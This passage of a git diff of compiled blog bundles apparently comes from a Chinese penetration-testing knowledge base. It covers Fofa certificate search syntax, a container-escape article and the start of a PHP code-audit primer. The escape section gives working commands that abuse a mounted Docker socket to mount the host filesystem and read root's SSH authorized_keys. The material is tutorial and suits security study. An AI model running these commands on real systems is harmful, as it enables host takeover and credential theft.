",(0,s.jsx)(t.a,{href:"https://crt.sh/",children:"crt.sh"})]}),"\n"]}),"\n",(0,s.jsx)(t.p,{children:"\u8f93\u5165\u57df\u540d\u5373\u53ef\u67e5\u8be2"}),"\n",(0,s.jsx)(t.p,{children:(0,s.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202508191640536.png",alt:"image-20221223155642658"})}),"\n",(0,s.jsx)(t.h3,{id:"\u901a\u8fc7\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce",children:"\u901a\u8fc7\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce"}),"\n",(0,s.jsxs)(t.blockquote,{children:["\n",(0,s.jsx)(t.p,{children:"![TIP]"}),"\n",(0,s.jsx)(t.p,{children:"\u4ee5Fofa\u4e3a\u4f8b\uff0cshodan\u548czoomeye\u7c7b\u4f3c"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u8bed\u6cd5"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u8bf4\u660e"})]})}),(0,s.jsxs)(t.tbody,{children:[(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.code,{children:'cert="baidu"'})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u641c\u7d22\u8bc1\u4e66(https\u6216\u8005imaps\u7b49)\u4e2d\u5e26\u6709baidu\u7684\u8d44\u4ea7\u3002"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.code,{children:'cert.subject="Oracle Corporation"'})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u641c\u7d22\u8bc1\u4e66\u6301\u6709\u8005\u662fOracle Corporation\u7684\u8d44\u4ea7"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.code,{children:'cert.issuer="DigiCert"'})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u641c\u7d22\u8bc1\u4e66\u9881\u53d1\u8005\u4e3aDigiCert Inc\u7684\u8d44\u4ea7"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.code,{children:"cert.is_valid=true"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u9a8c\u8bc1\u8bc1\u4e66\u662f\u5426\u6709\u6548\uff0ctrue\u6709\u6548\uff0cfalse\u65e0\u6548"})]})]})]}),"\n",(0,s.jsx)(t.p,{children:(0,s.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202508191640537.png",alt:"image-20221223162407036"})})]})}function x(e={}){const{wrapper:t}={...(0,i.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/assets/js/db9f8698.a055b409.js b/assets/js/db9f8698.a055b409.js new file mode 100644 index 0000000..b914120 --- /dev/null +++ b/assets/js/db9f8698.a055b409.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6225],{5273:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>i,contentTitle:()=>d,default:()=>h,frontMatter:()=>o,metadata:()=>s,toc:()=>l});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/README","title":"\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/02.\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/02.\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/02.\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u5185\u7f51\u6e17\u900f","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/"},"next":{"title":"k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/"}}');var r=n(74848),c=n(28453);const o={},d="\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5",i={},l=[{value:"\u5371\u9669\u6302\u8f7d",id:"\u5371\u9669\u6302\u8f7d",level:2},{value:"01. Docker socket",id:"01-docker-socket",level:2}];function a(e){const t={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,c.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5",children:"\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 00:32:47"})]})})]}),"\n",(0,r.jsx)(t.h1,{id:"\u5bb9\u5668\u9003\u9038",children:"\u5bb9\u5668\u9003\u9038"}),"\n",(0,r.jsx)(t.p,{children:"Docker\u5bb9\u5668\u4e0d\u540c\u4e8e\u865a\u62df\u673a\uff0c\u5b83\u4e0e\u5bbf\u4e3b\u673a\u64cd\u4f5c\u7cfb\u7edf\u5171\u4eab\u5185\u6838\u3002\u5bbf\u4e3b\u673a\u548c\u5bb9\u5668\u4e4b\u95f4\u901a\u8fc7\u5185\u6838\u547d\u540d\u7a7a\u95f4\uff08namespaces\uff09\u3001\u5185\u6838Capabilities\u3001CGroups\uff08control groups\uff09\u7b49\u6280\u672f\u8fdb\u884c\u9694\u79bb\uff1b\u4f46\u662f\u8bb8\u591a\u5371\u9669\u64cd\u4f5c\u6216\u8005\u6f0f\u6d1e\u5bfc\u81f4\u653b\u51fb\u8005\u53ef\u4ee5\u4ece\u5bb9\u5668\u91cc\u8fb9\u9003\u9038\u5230\u5bbf\u4e3b\u673a\u4e0a\uff0c\u5e38\u7528\u7684\u9003\u9038\u624b\u6cd5\u5305\u542b\u56db\u7c7b\uff1a\u5371\u9669\u914d\u7f6e\u3001\u5371\u9669\u6302\u8f7d\u3001\u7ec4\u4ef6\u6f0f\u6d1e\u3001\u5185\u6838\u6f0f\u6d1e\u3002"}),"\n",(0,r.jsx)(t.h2,{id:"\u5371\u9669\u6302\u8f7d",children:"\u5371\u9669\u6302\u8f7d"}),"\n",(0,r.jsx)(t.h2,{id:"01-docker-socket",children:"01. Docker socket"}),"\n",(0,r.jsxs)(t.blockquote,{children:["\n",(0,r.jsx)(t.p,{children:"Docker Socket\u662fDocker\u5b88\u62a4\u8fdb\u7a0b\u76d1\u542c\u7684Unix\u57df\u5957\u63a5\u5b57\uff0c\u7528\u6765\u4e0e\u5b88\u62a4\u8fdb\u7a0b\u901a\u4fe1\u3002\u5982\u679c\u5c06Docker Socket\uff08/var/run/docker.sock\uff09\u6302\u8f7d\u5230\u5bb9\u5668\u5185\uff0c\u5219\u5728\u5bb9\u5668\u5185\u53ef\u4ee5\u63a7\u5236\u4e3b\u673a\u4e0a\u7684Docker\u521b\u5efa\u65b0\u7684\u6076\u610f\u5bb9\u5668\uff0c\u4ece\u800c\u5b9e\u73b0\u9003\u9038"}),"\n"]}),"\n",(0,r.jsxs)(t.p,{children:[(0,r.jsx)(t.code,{children:"docker.sock"}),"\u8fd9\u4e2a\u6587\u4ef6\u88ab\u6302\u8f7d\u5230",(0,r.jsx)(t.code,{children:"\u5bb9\u56681"}),"\u4e2d\uff0c\u53ef\u4ee5\u901a\u8fc7",(0,r.jsx)(t.code,{children:"\u5bb9\u56681"}),"\u4e2d\u64cd\u4f5c\u5bbf\u4e3b\u673a\u91cd\u65b0\u542f\u52a8\u4e00\u4e2adocker",(0,r.jsx)(t.code,{children:"\u5bb9\u56682"}),"\u5e76\u5c06 ",(0,r.jsx)(t.code,{children:"/"})," \u6587\u4ef6\u6302\u8f7d\u5230l\uff0c\u5728",(0,r.jsx)(t.code,{children:"\u5bb9\u56682"})," \u4e2d\u64cd\u4f5c"]}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-sh",children:"docker run --rm -it -v /run/docker.sock:/run/docker.sock ubuntu:20.04 /bin/bash\n"})}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-docker",children:'apt-get update\napt-get install -y curl && bash -c "$(curl -fsSL https://get.docker.com/)" && \\\ndocker -H unix:///docker.sock run --rm -it -v /:/hosts ubuntu cat /hosts/root/.ssh/authorized_keys\n'})}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.img,{alt:"image-20231016225823326",src:n(50221).A+"",width:"960",height:"618"})})]})}function h(e={}){const{wrapper:t}={...(0,c.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(a,{...e})}):a(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>o,x:()=>d});var s=n(96540);const r={},c=s.createContext(r);function o(e){const t=s.useContext(c);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function d(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:o(e.components),s.createElement(c.Provider,{value:t},e.children)}},50221:(e,t,n)=>{n.d(t,{A:()=>s});const s=n.p+"assets/images/image-20231016225823326-bf8cf3a81a075c91bc838c82e7d78993.png"}}]); \ No newline at end of file diff --git a/assets/js/dc7f3995.d7a510d1.js b/assets/js/dc7f3995.d7a510d1.js new file mode 100644 index 0000000..64e4f62 --- /dev/null +++ b/assets/js/dc7f3995.d7a510d1.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[489],{28453:(n,e,l)=>{l.d(e,{R:()=>i,x:()=>d});var s=l(96540);const r={},c=s.createContext(r);function i(n){const e=s.useContext(c);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function d(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:i(n.components),s.createElement(c.Provider,{value:e},n.children)}},94117:(n,e,l)=>{l.r(e),l.d(e,{assets:()=>a,contentTitle:()=>d,default:()=>p,frontMatter:()=>i,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6","title":"PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP/01.PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP/01.PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"URLDNS","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/URLDNS"},"next":{"title":"PHP\u4ee3\u7801\u5ba1\u8ba1","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1"}}');var r=l(74848),c=l(28453);const i={},d=void 0,a={},h=[{value:"\u4ee3\u7801\u6267\u884c",id:"\u4ee3\u7801\u6267\u884c",level:2},{value:"eval()",id:"eval",level:3},{value:"\u8fd4\u56de\u503c",id:"\u8fd4\u56de\u503c",level:4},{value:"assert()",id:"assert",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570",level:4},{value:"assert()\u914d\u7f6e",id:"assert\u914d\u7f6e",level:4},{value:"preg_replace()",id:"preg_replace",level:3},{value:"\u53c2\u6570\u8bf4\u660e\uff1a",id:"\u53c2\u6570\u8bf4\u660e",level:4},{value:"create_function()",id:"create_function",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-1",level:4},{value:"\u8fd4\u56de\u503c",id:"\u8fd4\u56de\u503c-1",level:4},{value:"array_map()",id:"array_map",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-2",level:4},{value:"\u8fd4\u56de\u503c",id:"\u8fd4\u56de\u503c-2",level:4},{value:"call_user_func()",id:"call_user_func",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-3",level:4},{value:"call_user_func_array()",id:"call_user_func_array",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-4",level:4},{value:"array_filter()",id:"array_filter",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-5",level:4},{value:"usort()",id:"usort",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-6",level:4},{value:"uasort()",id:"uasort",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-7",level:4},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:3},{value:"\u547d\u4ee4\u6267\u884c",id:"\u547d\u4ee4\u6267\u884c",level:2},{value:"system()",id:"system",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-8",level:4},{value:"exec()",id:"exec",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-9",level:4},{value:"shell_exec()",id:"shell_exec",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-10",level:4},{value:"passthru()",id:"passthru",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-11",level:4},{value:"pcntl_exec()",id:"pcntl_exec",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-12",level:4},{value:"popen()",id:"popen",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-13",level:4},{value:"proc_open()",id:"proc_open",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-14",level:4},{value:"\u6587\u4ef6\u5305\u542b",id:"\u6587\u4ef6\u5305\u542b",level:2},{value:"include()",id:"include",level:3},{value:"include_once()",id:"include_once",level:3},{value:"require()",id:"require",level:3},{value:"require_once()",id:"require_once",level:3},{value:"\u603b\u7ed3",id:"\u603b\u7ed3-1",level:3},{value:"\u6587\u4ef6\u8bfb\u53d6(\u4e0b\u8f7d)",id:"\u6587\u4ef6\u8bfb\u53d6\u4e0b\u8f7d",level:2},{value:"file_get_contents()",id:"file_get_contents",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-15",level:4},{value:"fopen()",id:"fopen",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-16",level:4},{value:"fread()",id:"fread",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-17",level:4},{value:"fgets()",id:"fgets",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-18",level:4},{value:"fgetss()",id:"fgetss",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-19",level:4},{value:"readfile()",id:"readfile",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-20",level:4},{value:"file()",id:"file",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-21",level:4},{value:"parse_ini_file()",id:"parse_ini_file",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-22",level:4},{value:"show_source()/highlight_file()",id:"show_sourcehighlight_file",level:3},{value:"\u603b\u7ed3",id:"\u603b\u7ed3-2",level:3},{value:"\u6587\u4ef6\u4e0a\u4f20",id:"\u6587\u4ef6\u4e0a\u4f20",level:2},{value:"move_uploaded_file()",id:"move_uploaded_file",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-23",level:4},{value:"\u6587\u4ef6\u5220\u9664",id:"\u6587\u4ef6\u5220\u9664",level:2},{value:"unlink()",id:"unlink",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-24",level:4},{value:"session_destroy()",id:"session_destroy",level:3},{value:"\u53d8\u91cf\u8986\u76d6",id:"\u53d8\u91cf\u8986\u76d6",level:2},{value:"extract()",id:"extract",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-25",level:4},{value:"parse_str()",id:"parse_str",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-26",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-27",level:4},{value:"foreach()",id:"foreach",level:3},{value:"\u5f31\u7c7b\u578b\u6bd4\u8f83",id:"\u5f31\u7c7b\u578b\u6bd4\u8f83",level:2},{value:"md5()\u51fd\u6570\u548csha1()\u7ed5\u8fc7",id:"md5\u51fd\u6570\u548csha1\u7ed5\u8fc7",level:3},{value:"is_numeric()\u7ed5\u8fc7",id:"is_numeric\u7ed5\u8fc7",level:3},{value:"in_array()\u7ed5\u8fc7",id:"in_array\u7ed5\u8fc7",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-28",level:4},{value:"XSS",id:"xss",level:2},{value:"print()",id:"print",level:3},{value:"print_r()",id:"print_r",level:3},{value:"echo()",id:"echo",level:3},{value:"printf()",id:"printf",level:3},{value:"sprintf()",id:"sprintf",level:3},{value:"die()",id:"die",level:3},{value:"var_dump()",id:"var_dump",level:3},{value:"var_export()",id:"var_export",level:3},{value:"PHP\u9ed1\u9b54\u6cd5",id:"php\u9ed1\u9b54\u6cd5",level:2},{value:"md5()",id:"md5",level:3},{value:"eval()",id:"eval-1",level:3},{value:"ereg()",id:"ereg",level:3},{value:"strcmp()",id:"strcmp",level:3},{value:"curl_setopt()",id:"curl_setopt",level:3},{value:"preg_replace()",id:"preg_replace-1",level:3},{value:"urldecode()",id:"urldecode",level:3},{value:"file_get_contents()",id:"file_get_contents-1",level:3},{value:"parse_url()",id:"parse_url",level:3},{value:"\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",id:"\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",level:2},{value:"\u7b80\u4ecb",id:"\u7b80\u4ecb",level:3},{value:"__wakeup()",id:"__wakeup",level:3},{value:"__sleep()",id:"__sleep",level:3},{value:"__destruct()",id:"__destruct",level:3},{value:"__construct()",id:"__construct",level:3},{value:"__call()",id:"__call",level:3},{value:"__callStatic()",id:"__callstatic",level:3},{value:"__get()",id:"__get",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-29",level:4},{value:"__set()",id:"__set",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-30",level:4},{value:"__isset()",id:"__isset",level:3},{value:"__unset()",id:"__unset",level:3},{value:"toString()",id:"tostring",level:3},{value:"__invoke()",id:"__invoke",level:3},{value:"pop\u94fe\u7684\u6784\u9020",id:"pop\u94fe\u7684\u6784\u9020",level:3},{value:"\u601d\u8def",id:"\u601d\u8def",level:3},{value:"phar\u4e0e\u53cd\u5e8f\u5217\u5316",id:"phar\u4e0e\u53cd\u5e8f\u5217\u5316",level:3},{value:"\u7b80\u4ecb",id:"\u7b80\u4ecb-1",level:4},{value:"\u6587\u4ef6\u7ed3\u6784",id:"\u6587\u4ef6\u7ed3\u6784",level:4},{value:"\u5b9e\u9a8c",id:"\u5b9e\u9a8c",level:4},{value:"phar.php\uff1a",id:"pharphp",level:5},{value:"Ameng.php",id:"amengphp",level:5},{value:"\u5176\u4ed6\u4e00\u4e9b\u603b\u7ed3",id:"\u5176\u4ed6\u4e00\u4e9b\u603b\u7ed3",level:2},{value:"basename()",id:"basename",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-31",level:4},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function t(n){const e={a:"a",code:"code",h2:"h2",h3:"h3",h4:"h4",h5:"h5",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-08-19 16:49:03"})]})})]}),"\n",(0,r.jsx)(e.p,{children:"\u672c\u6587\u7ae0\u4e3b\u8981\u662fPHP\u4ee3\u7801\u5ba1\u8ba1\u7684\u4e00\u4e9b\u57fa\u7840\u77e5\u8bc6\uff0c\u5305\u62ec\u51fd\u6570\u7684\u7528\u6cd5\uff0c\u6f0f\u6d1e\u70b9\uff0c\u504f\u5411\u57fa\u7840\u90e8\u5206\uff0c\u4e2a\u4eba\u80fd\u529b\u6709\u9650\uff0c\u90e8\u5206\u53ef\u80fd\u4f1a\u51fa\u73b0\u9519\u8bef\u6216\u8005\u9057\u6f0f\uff0c\u8bfb\u8005\u53ef\u81ea\u884c\u8865\u5145\u3002"}),"\n",(0,r.jsx)(e.h2,{id:"\u4ee3\u7801\u6267\u884c",children:"\u4ee3\u7801\u6267\u884c"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u6267\u884c\u662f\u4ee3\u7801\u5ba1\u8ba1\u5f53\u4e2d\u8f83\u4e3a\u4e25\u91cd\u7684\u6f0f\u6d1e\uff0c\u4e3b\u8981\u662f\u4e00\u4e9b\u547d\u4ee4\u6267\u884c\u51fd\u6570\u7684\u4e0d\u9002\u5f53\u4f7f\u7528\u3002\u90a3\u4e48\uff0c\u5e38\u89c1\u7684\u80fd\u591f\u89e6\u53d1\u8fd9\u7c7b\u6f0f\u6d1e\u7684\u51fd\u6570\u6709\u54ea\u4e9b\u5462\uff1f"}),"\n",(0,r.jsx)(e.h3,{id:"eval",children:"eval()"}),"\n",(0,r.jsxs)(e.p,{children:["\u60f3\u5fc5\u5927\u5bb6\u5bf9",(0,r.jsx)(e.code,{children:"eval()"}),"\u51fd\u6570\u5e94\u8be5\u5e76\u4e0d\u964c\u751f\uff0c\u7b80\u800c\u8a00\u4e4b",(0,r.jsx)(e.code,{children:"eval()"}),"\u51fd\u6570\u5c31\u662f\u5c06\u4f20\u5165\u7684\u5b57\u7b26\u4e32\u5f53\u4f5c ",(0,r.jsx)(e.code,{children:"PHP"})," \u4ee3\u7801\u6765\u8fdb\u884c\u6267\u884c\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"eval( string $code) : mixed\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u8fd4\u56de\u503c",children:"\u8fd4\u56de\u503c"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"eval()"})," \u8fd4\u56de ",(0,r.jsx)(e.code,{children:"NULL"}),"\uff0c\u9664\u975e\u5728\u6267\u884c\u7684\u4ee3\u7801\u4e2d return\u4e86\u4e00\u4e2a\u503c\uff0c\u51fd\u6570\u8fd4\u56de\u4f20\u9012\u7ed9 return\u7684\u503c\u3002PHP7\u5f00\u59cb\uff0c\u6267\u884c\u7684\u4ee3\u7801\u91cc\u5982\u679c\u6709\u4e00\u4e2aparse error\uff0c",(0,r.jsx)(e.code,{children:"eval()"})," \u4f1a\u629b\u51fa ParseError \u5f02\u5e38\u3002\u5728 PHP 7 \u4e4b\u524d\uff0c\u5982\u679c\u5728\u6267\u884c\u7684\u4ee3\u7801\u4e2d\u6709 parse error\uff0c",(0,r.jsx)(e.code,{children:"eval()"})," \u8fd4\u56de",(0,r.jsx)(e.code,{children:"FALSE"}),"\uff0c\u4e4b\u540e\u7684\u4ee3\u7801\u5c06\u6b63\u5e38\u6267\u884c\u3002\u65e0\u6cd5\u4f7f\u7528",(0,r.jsx)(e.code,{children:"set_error_handler()"}),"\u6355\u83b7 ",(0,r.jsx)(e.code,{children:"eval()"})," \u4e2d\u7684\u89e3\u6790\u9519\u8bef\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u4e5f\u5c31\u662f\u8bf4\uff0c\u6211\u4eec\u5728\u5229\u7528",(0,r.jsx)(e.code,{children:"eval()"}),"\u51fd\u6570\u7684\u65f6\u5019\uff0c\u5982\u679c\u6211\u4eec\u4f20\u5165\u7684\u5b57\u7b26\u4e32\u4e0d\u662f\u6b63\u5e38\u7684\u4ee3\u7801\u683c\u5f0f\uff0c\u90a3\u4e48\u5c31\u4f1a\u629b\u51fa\u5f02\u5e38\u3002\u6240\u4ee5PHP7\u548cPHP5\u5728\u8fd9\u90e8\u5206\u6700\u5927\u7684\u4e0d\u540c\u662f\u4ec0\u4e48\u5462\uff1f\u7b80\u800c\u8a00\u4e4b\uff0cPHP5\u5728\u4ee3\u7801\u9519\u8bef\u683c\u5f0f\u9519\u8bef\u4e4b\u540e\u4ecd\u4f1a\u6267\u884c\uff0c\u800cPHP7\u5728\u4ee3\u7801\u53d1\u751f\u9519\u8bef\u4e4b\u540e\uff0c\u90a3\u4e48",(0,r.jsx)(e.code,{children:"eval()"}),"\u51fd\u6570\u5c31\u4f1a\u629b\u51fa\u5f02\u5e38\uff0c\u800c\u4e0d\u6267\u884c\u4e4b\u540e\u7684\u4ee3\u7801\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>This is a 